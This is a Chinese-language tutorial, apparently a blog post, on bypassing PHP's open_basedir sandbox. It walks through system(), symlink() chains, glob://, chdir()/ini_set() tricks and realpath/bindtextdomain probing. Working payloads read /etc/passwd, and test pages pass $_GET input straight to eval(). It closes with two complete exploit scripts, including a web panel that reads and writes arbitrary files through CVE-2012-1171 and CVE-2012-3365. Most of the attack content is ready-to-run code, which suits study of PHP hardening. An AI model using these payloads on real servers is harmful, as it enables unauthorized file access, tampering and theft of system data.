0x01 open_basedir
open_basedir是php.ini中的一个配置选项,可用于将用户访问文件的活动范围限制在指定的区域。
假设open_basedir=/var/www/html/web1/:/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/var/www/html/web1/和/tmp/这两个目录以外的文件。
注意:用open_basedir指定的限制实际上是前缀,而不是目录名。
为了演示下面的几个示例,我这里环境的open_basedir设置为Web目录和tmp目录:
测试一下,我在/home目录中新建一个1.txt文件,尝试对其进行读取,发现读取失败:
换了Web目录及其子目录和tmp目录中的文件就能成功读取,这就是open_basedir所起到的作用。
0x02 利用命令执行函数Bypass
但是open_basedir对命令执行函数没有限制,我们可以使用system()函数试一下,在前面的代码前加上system()代码来进行对比:
1 2 3 4 5
| <?php
show_source(__FILE__); system('cat /home/1.txt'); ?>
|
确实能够成功读到目标文件,不受open_basedir的限制:
至于其他的命令执行函数可自行尝试。
但是一般情况下,system()等命令执行函数可能会被disable_functions给禁用掉,因此运用到的场景可能并不多。
0x03 利用symlink()函数Bypass
符号链接
符号链接又叫软链接,是一类特殊的文件,这个文件包含了另一个文件的路径名(绝对路径或者相对路径)。路径可以是任意文件或目录,可以链接不同文件系统的文件。在对符号文件进行读或写操作的时候,系统会自动把该操作转换为对源文件的操作,但删除链接文件时,系统仅仅删除链接文件,而不删除源文件本身。
symlink()函数
(PHP 4, PHP 5, PHP 7)
symlink()函数创建一个从指定名称连接的现存目标文件开始的符号连接。如果成功,该函数返回TRUE;如果失败,则返回FALSE。
1
| symlink ( string $target , string $link ) : bool
|
参数 |
描述 |
target |
必需。连接的目标。 |
link |
必需。连接的名称。 |
当然一般情况下这个target是受限于open_basedir的。
Bypass
先给出payload,原理在后面说明,这里需要跨几层目录就需要创建几层目录:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php mkdir("A"); chdir("A"); mkdir("B"); chdir("B"); mkdir("C"); chdir("C"); mkdir("D"); chdir("D"); chdir(".."); chdir(".."); chdir(".."); chdir(".."); symlink("A/B/C/D","7ea"); symlink("7ea/../../../../etc/passwd","exp"); unlink("7ea"); mkdir("7ea"); ?>
|
访问该PHP文件后,后台便生成了两个目录和一个名为exp的符号链接:
在Web中我们直接访问exp即可读取到目标文件:
原理就是:创建一个链接文件7ea,用相对路径指向A/B/C/D,再创建一个链接文件exp指向7ea/../../../../etc/passwd。其实指向的就是A/B/C/D/../../../../etc/passwd,其实就是/etc/passwd。这时候删除7ea,再创建一个7ea目录,但exp还是指向7ea/../../../etc/passwd,所以就成功跨到/etc/passwd了。
重点在这四句:
1 2 3 4
| symlink("A/B/C/D","7ea"); symlink("7ea/../../../../etc/passwd","exp"); unlink("7ea"); mkdir("7ea");
|
payload构造的注意点就是:要读的文件需要往前跨多少路径,就得创建多少层的子目录,然后输入多少个../来设置目标文件。
0x04 利用glob://伪协议Bypass
glob://伪协议
glob:// — 查找匹配的文件路径模式。
glob://是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议,其用法示例如下:
1 2 3 4 5 6 7 8
| <?php
$it = new DirectoryIterator("glob://ext/spl/examples/*.php"); foreach($it as $f) { printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024); } ?>
|
Bypass
只是用glob://伪协议是无法直接绕过的,它需要结合其他函数组合利用,主要有以下两种利用方式,局限性在于它们都只能列出根目录下和open_basedir指定的目录下的文件,不能列出除前面的目录以外的目录中的文件,且不能读取文件内容。
方式1——DirectoryIterator+glob://
DirectoryIterator是php5中增加的一个类,为用户提供一个简单的查看目录的接口。
DirectoryIterator与glob://结合将无视open_basedir,列举出根目录下的文件:
1 2 3 4 5 6 7
| <?php $c = $_GET['c']; $a = new DirectoryIterator($c); foreach($a as $f){ echo($f->__toString().'<br>'); } ?>
|
输入glob:///*
即可列出根目录下的文件,但是会发现只能列根目录和open_basedir指定的目录的文件:
方式2——opendir()+readdir()+glob://
opendir()函数为打开目录句柄,readdir()函数为从目录句柄中读取条目。
这里结合两个函数来列举根目录中的文件:
1 2 3 4 5 6 7 8 9
| <?php $a = $_GET['c']; if ( $b = opendir($a) ) { while ( ($file = readdir($b)) !== false ) { echo $file."<br>"; } closedir($b); } ?>
|
效果和方式1是一样的,只能Bypass open_basedir来列举根目录中的文件,不能列举出其他非根目录和open_basedir指定的目录中的文件。
0x05 利用chdir()与ini_set()组合Bypass
基本原理
这种利用方式跟open_basedir存在缺陷的处理逻辑有关,具体原理可参考:
《通过chdir来bypass open_basedir》
《从PHP底层看open_basedir bypass》
Bypass
测试Demo,放置在Web根目录下,在执行输入参数的PHP代码前后获取open_basedir的值看是否改变了:
1 2 3 4 5 6
| <?php echo 'open_basedir: '.ini_get('open_basedir').'<br>'; echo 'GET: '.$_GET['c'].'<br>'; eval($_GET['c']); echo 'open_basedir: '.ini_get('open_basedir'); ?>
|
输入以下payload:
1
| mkdir('mi1k7ea');chdir('mi1k7ea');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/etc/passwd');
|
可以看到open_basedir被设置为’/‘了,整个失去了效果:
注意,如果php文件在Web根目录,则需要构造一个相对可上跳的open_basedir:
1 2 3
| mkdir('mi1k7ea'); chdir('mi1k7ea'); ini_set('open_basedir','..');
|
如果php文件直接在Web目录的子目录的话,就可不用创建相对可上跳的open_basedir了。
0x06 利用bindtextdomain()函数Bypass
bindtextdomain()函数
(PHP 4, PHP 5, PHP 7)
bindtextdomain()函数用于绑定domain到某个目录的函数。
函数定义如下:
1
| bindtextdomain ( string $domain , string $directory ) : string
|
Bypass
利用原理是基于报错:bindtextdomain()函数的第二个参数\$directory是一个文件路径,它会在\$directory存在的时候返回\$directory,不存在则返回false。
payload:
1 2 3 4 5
| <?php printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir')); $re = bindtextdomain('xxx', $_GET['dir']); var_dump($re); ?>
|
成功访问到存在的文件是会返回当前文件的路径的:
若访问的文件不存在则返回false:
可以看到,和前面几种方法相比,实在是相形见绌,只能应用于判断目标文件是否存在,有利于后续和其他漏洞进行组合利用。
0x07 利用SplFileInfo::getRealPath()类方法Bypass
SplFileInfo类
(PHP 5 >= 5.1.2, PHP 7)
SplFileInfo类为单个文件的信息提供高级面向对象的接口。
SplFileInfo::getRealPath
(PHP 5 >= 5.2.2, PHP 7)
SplFileInfo::getRealPath类方法是用于获取文件的绝对路径。
Bypass
和bindtextdomain的原理一样,是基于报错的方式,返回结果都是一样的,就不再多演示,这里直接给出payload:
1 2 3 4 5
| <?php echo '<b>open_basedir: ' . ini_get('open_basedir') . '</b><br />'; $info = new SplFileInfo($_GET['dir']); var_dump($info->getRealPath()); ?>
|
0x08 利用realpath()函数Bypass
realpath()函数
(PHP 4, PHP 5, PHP 7)
realpath — 返回规范化的绝对路径名。它可以去掉多余的../或./等跳转字符,能将相对路径转换成绝对路径。
函数定义如下:
1
| realpath ( string $path ) : string
|
Bypass
环境条件:Windows
基本原理是基于报错返回内容的不用,设置自定义的错误处理函数,循环遍历匹配到正则的报错信息的字符来逐个拼接成存在的文件名,另外是需要结合利用Windows下的两个特殊的通配符<和>,不然只能进行暴破。
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php ini_set('open_basedir', dirname(__FILE__)); printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir')); set_error_handler('isexists'); $dir = 'E:/wamp64/'; $file = ''; $chars = 'abcdefghijklmnopqrstuvwxyz0123456789_'; for ($i=0; $i < strlen($chars); $i++) { $file = $dir . $chars[$i] . '<><'; realpath($file); } function isexists($errno, $errstr) { $regexp = '/File\((.*)\) is not within/'; preg_match($regexp, $errstr, $matches); if (isset($matches[1])) { printf("%s <br/>", $matches[1]); } } ?>
|
可以看到,首字母不同的文件就被列出来了,首字母相同的文件中只列了第一个:
0x09 脚本合集
p牛的脚本
脚本原理就是利用symlink()函数来Bypass的原理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110
| <?php
header('content-type: text/plain'); error_reporting(-1); ini_set('display_errors', TRUE); printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion()); printf("disable_functions: %s\n", ini_get('disable_functions')); $file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd'); $relat_file = getRelativePath(__FILE__, $file); $paths = explode('/', $file); $name = mt_rand() % 999; $exp = getRandStr(); mkdir($name); chdir($name); for($i = 1 ; $i < count($paths) - 1 ; $i++){ mkdir($paths[$i]); chdir($paths[$i]); } mkdir($paths[$i]); for ($i -= 1; $i > 0; $i--) { chdir('..'); } $paths = explode('/', $relat_file); $j = 0; for ($i = 0; $paths[$i] == '..'; $i++) { mkdir($name); chdir($name); $j++; } for ($i = 0; $i <= $j; $i++) { chdir('..'); } $tmp = array_fill(0, $j + 1, $name); symlink(implode('/', $tmp), 'tmplink'); $tmp = array_fill(0, $j, '..'); symlink('tmplink/' . implode('/', $tmp) . $file, $exp); unlink('tmplink'); mkdir('tmplink'); delfile($name); $exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}"; $exp = "http://{$_SERVER['SERVER_NAME']}{$exp}"; echo "\n-----------------content---------------\n\n"; echo file_get_contents($exp); delfile('tmplink');
function getRelativePath($from, $to) { $from = rtrim($from, '\/') . '/'; $from = str_replace('\\', '/', $from); $to = str_replace('\\', '/', $to);
$from = explode('/', $from); $to = explode('/', $to); $relPath = $to;
foreach($from as $depth => $dir) { if($dir === $to[$depth]) { array_shift($relPath); } else { $remaining = count($from) - $depth; if($remaining > 1) { $padLength = (count($relPath) + $remaining - 1) * -1; $relPath = array_pad($relPath, $padLength, '..'); break; } else { $relPath[0] = './' . $relPath[0]; } } } return implode('/', $relPath); }
function delfile($deldir){ if (@is_file($deldir)) { @chmod($deldir,0777); return @unlink($deldir); }else if(@is_dir($deldir)){ if(($mydir = @opendir($deldir)) == NULL) return false; while(false !== ($file = @readdir($mydir))) { $name = File_Str($deldir.'/'.$file); if(($file!='.') && ($file!='..')){delfile($name);} } @closedir($mydir); @chmod($deldir,0777); return @rmdir($deldir) ? true : false; } }
function File_Str($string) { return str_replace('//','/',str_replace('\\','/',$string)); }
function getRandStr($length = 6) { $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $randStr = ''; for ($i = 0; $i < $length; $i++) { $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1); } return $randStr; }
|
网上的一个脚本
原理是用glob://伪协议:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384
| <?php
function getRelativePath($from, $to) { $from = rtrim($from, '\/') . '/'; $from = str_replace('\\', '/', $from); $to = str_replace('\\', '/', $to); $from = explode('/', $from); $to = explode('/', $to); $relPath = $to; foreach ($from as $depth => $dir) { if ($dir === $to[$depth]) { array_shift($relPath); } else { $remaining = count($from) - $depth; if ($remaining > 1) { $padLength = (count($relPath) + $remaining - 1) * -1; $relPath = array_pad($relPath, $padLength, '..'); break; } else { $relPath[0] = './' . $relPath[0]; } } } return implode('/', $relPath); } function fallback($classes) { foreach ($classes as $class) { $object = new $class; if ($object->isAvailable()) { return $object; } } return new NoExploit; }
interface Exploitable { function isAvailable(); function getDescription(); } class NoExploit implements Exploitable { function isAvailable() { return true; } function getDescription() { return 'No exploit is available.'; } } abstract class DirectoryLister implements Exploitable { var $currentPath; function isAvailable() {} function getDescription() {} function getFileList() {} function setCurrentPath($currentPath) { $this->currentPath = $currentPath; } function getCurrentPath() { return $this->currentPath; } } class GlobWrapperDirectoryLister extends DirectoryLister { function isAvailable() { return stripos(PHP_OS, 'win') === FALSE && in_array('glob', stream_get_wrappers()); } function getDescription() { return 'Directory listing via glob pattern'; } function getFileList() { $file_list = array(); $it = new DirectoryIterator("glob://{$this->getCurrentPath()}*"); foreach ($it as $f) { $file_list[] = $f->__toString(); } $it = new DirectoryIterator("glob://{$this->getCurrentPath()}.*"); foreach ($it as $f) { $file_list[] = $f->__toString(); } sort($file_list); return $file_list; } } class RealpathBruteForceDirectoryLister extends DirectoryLister { var $characters = 'abcdefghijklmnopqrstuvwxyz0123456789-_' , $extension = array() , $charactersLength = 38 , $maxlength = 3 , $fileList = array(); function isAvailable() { return ini_get('open_basedir') && function_exists('realpath'); } function getDescription() { return 'Directory listing via brute force searching with realpath function.'; } function setCharacters($characters) { $this->characters = $characters; $this->charactersLength = count($characters); } function setExtension($extension) { $this->extension = $extension; } function setMaxlength($maxlength) { $this->maxlength = $maxlength; } function getFileList() { set_time_limit(0); set_error_handler(array(__CLASS__, 'handler')); $number_set = array(); while (count($number_set = $this->nextCombination($number_set, 0)) <= $this->maxlength) { $this->searchFile($number_set); } sort($this->fileList); return $this->fileList; } function nextCombination($number_set, $length) { if (!isset($number_set[$length])) { $number_set[$length] = 0; return $number_set; } if ($number_set[$length] + 1 === $this->charactersLength) { $number_set[$length] = 0; $number_set = $this->nextCombination($number_set, $length + 1); } else { $number_set[$length]++; } return $number_set; } function searchFile($number_set) { $file_name = 'a'; foreach ($number_set as $key => $value) { $file_name[$key] = $this->characters[$value]; } realpath($this->getCurrentPath() . $file_name); realpath($this->getCurrentPath() . '.' . $file_name); foreach ($this->extension as $extension) { realpath($this->getCurrentPath() . $file_name . $extension); } } function handler($errno, $errstr, $errfile, $errline) { $regexp = '/File\((.*)\) is not within/'; preg_match($regexp, $errstr, $matches); if (isset($matches[1])) { $this->fileList[] = $matches[1]; } } } abstract class FileWriter implements Exploitable { var $filePath; function isAvailable() {} function getDescription() {} function write($content) {} function setFilePath($filePath) { $this->filePath = $filePath; } function getFilePath() { return $this->filePath; } } abstract class FileReader implements Exploitable { var $filePath; function isAvailable() {} function getDescription() {} function read() {} function setFilePath($filePath) { $this->filePath = $filePath; } function getFilePath() { return $this->filePath; } }
class StreamExploiter { var $mode, $filePath, $fileContent; function stream_close() { $doc = new DOMDocument; $doc->strictErrorChecking = false; switch ($this->mode) { case 'w': $doc->loadHTML($this->fileContent); $doc->removeChild($doc->firstChild); $doc->saveHTMLFile($this->filePath); break; default: case 'r': $doc->resolveExternals = true; $doc->substituteEntities = true; $doc->loadXML("<!DOCTYPE doc [<!ENTITY file SYSTEM \"file://{$this->filePath}\">]><doc>&file;</doc>", LIBXML_PARSEHUGE); echo $doc->documentElement->firstChild->nodeValue; } } function stream_open($path, $mode, $options, &$opened_path) { $this->filePath = substr($path, 10); $this->mode = $mode; return true; } public function stream_write($data) { $this->fileContent = $data; return strlen($data); } } class DOMFileWriter extends FileWriter { function isAvailable() { return extension_loaded('dom') && (version_compare(phpversion(), '5.3.10', '<=') || version_compare(phpversion(), '5.4.0', '=')); } function getDescription() { return 'Write to and create a file exploiting CVE-2012-1171 (allow overriding). Notice the content should be in well-formed XML format.'; } function write($content) { global $_DOM_exploit_resource; stream_wrapper_register('exploit', 'StreamExploiter'); $_DOM_exploit_resource = fopen("exploit://{$this->getFilePath()}", 'w'); fwrite($_DOM_exploit_resource, $content); } } class DOMFileReader extends FileReader { function isAvailable() { return extension_loaded('dom') && (version_compare(phpversion(), '5.3.10', '<=') || version_compare(phpversion(), '5.4.0', '=')); } function getDescription() { return 'Read a file exploiting CVE-2012-1171. Notice the content should be in well-formed XML format.'; } function read() { global $_DOM_exploit_resource; stream_wrapper_register('exploit', 'StreamExploiter'); $_DOM_exploit_resource = fopen("exploit://{$this->getFilePath()}", 'r'); } } class SqliteFileWriter extends FileWriter { function isAvailable() { return is_writable(getcwd()) && (extension_loaded('sqlite3') || extension_loaded('sqlite')) && (version_compare(phpversion(), '5.3.15', '<=') || (version_compare(phpversion(), '5.4.5', '<=') && PHP_MINOR_VERSION == 4)); } function getDescription() { return 'Create a file with custom content exploiting CVE-2012-3365 (disallow overriding). Junk contents may be inserted'; } function write($content) { $sqlite_class = extension_loaded('sqlite3') ? 'sqlite3' : 'SQLiteDatabase'; mkdir(':memory:'); $payload_path = getRelativePath(getcwd() . '/:memory:', $this->getFilePath()); $payload = str_replace('\'', '\'\'', $content); $database = new $sqlite_class(":memory:/{$payload_path}"); $database->exec("CREATE TABLE foo (bar STRING)"); $database->exec("INSERT INTO foo (bar) VALUES ('{$payload}')"); $database->close(); rmdir(':memory:'); } }
?> <?php $action = isset($_GET['action']) ? $_GET['action'] : ''; $cwd = isset($_GET['cwd']) ? $_GET['cwd'] : getcwd(); $cwd = rtrim($cwd, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR; $directorLister = fallback(array('GlobWrapperDirectoryLister', 'RealpathBruteForceDirectoryLister')); $fileWriter = fallback(array('DOMFileWriter', 'SqliteFileWriter')); $fileReader = fallback(array('DOMFileReader')); $append = ''; ?> <style>
height: 200px; overflow: hidden; }
margin: 0; height: 200px; } </style> <div id="panel"> <pre id="dl"> open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span> <form style="display:inline-block" action=""> <fieldset><legend>Directory Listing:</legend>Current Directory: <input name="cwd" size="100" value="<?php echo $cwd; ?>"><input type="submit" value="Go"> <?php if (get_class($directorLister) === 'RealpathBruteForceDirectoryLister'): ?> <?php $characters = isset($_GET['characters']) ? $_GET['characters'] : $directorLister->characters; $maxlength = isset($_GET['maxlength']) ? $_GET['maxlength'] : $directorLister->maxlength; $append = "&characters={$characters}&maxlength={$maxlength}"; $directorLister->setMaxlength($maxlength); ?> Search Characters: <input name="characters" size="100" value="<?php echo $characters; ?>"> Maxlength of File: <input name="maxlength" size="1" value="<?php echo $maxlength; ?>"> <?php endif;?> Description : <strong><?php echo $directorLister->getDescription(); ?></strong> </fieldset> </form> </pre> <?php $file_path = isset($_GET['file_path']) ? $_GET['file_path'] : ''; ?> <pre id="rf"> open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span> <form style="display:inline-block" action=""> <fieldset><legend>Read File :</legend>File Path: <input name="file_path" size="100" value="<?php echo $file_path; ?>"><input type="submit" value="Read"> Description: <strong><?php echo $fileReader->getDescription(); ?></strong><input type="hidden" name="action" value="rf"> </fieldset> </form> </pre> <pre id="wf"> open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span> <form style="display:inline-block" action=""> <fieldset><legend>Write File :</legend>File Path : <input name="file_path" size="100" value="<?php echo $file_path; ?>"><input type="submit" value="Write"> File Content: <textarea cols="70" name="content"></textarea> Description : <strong><?php echo $fileWriter->getDescription(); ?></strong><input type="hidden" name="action" value="wf"> </fieldset> </form> </pre> </div> <a href="#dl">Directory Listing</a> | <a href="#rf">Read File</a> | <a href="#wf">Write File</a> <hr> <pre> <?php if ($action === 'rf'): ?> <plaintext> <?php $fileReader->setFilePath($file_path); echo $fileReader->read(); ?> <?php elseif ($action === 'wf'): ?> <?php if (isset($_GET['content'])) { $fileWriter->setFilePath($file_path); $fileWriter->write($_GET['content']); echo 'The file should be written.'; } else { echo 'Something goes wrong.'; } ?> <?php else: ?> <ol> <?php $directorLister->setCurrentPath($cwd); $file_list = $directorLister->getFileList(); $parent_path = dirname($cwd); echo "<li><a href='?cwd={$parent_path}{$append}#dl'>Parent</a></li>"; if (count($file_list) > 0) { foreach ($file_list as $file) { echo "<li><a href='?cwd={$cwd}{$file}{$append}#dl'>{$file}</a></li>"; } } else { echo 'No files found. The path is probably not a directory.'; } ?> </ol> <?php endif;?>
|
试了下,简单的界面化了,但局限性非常明显,就是glob://伪协议的局限性:
0x0A 参考
PHP绕过open_basedir列目录的研究
通过chdir来bypass open_basedir
从PHP底层看open_basedir bypass
php5全版本绕过open_basedir读文件脚本
绕过open_basedir读文件脚本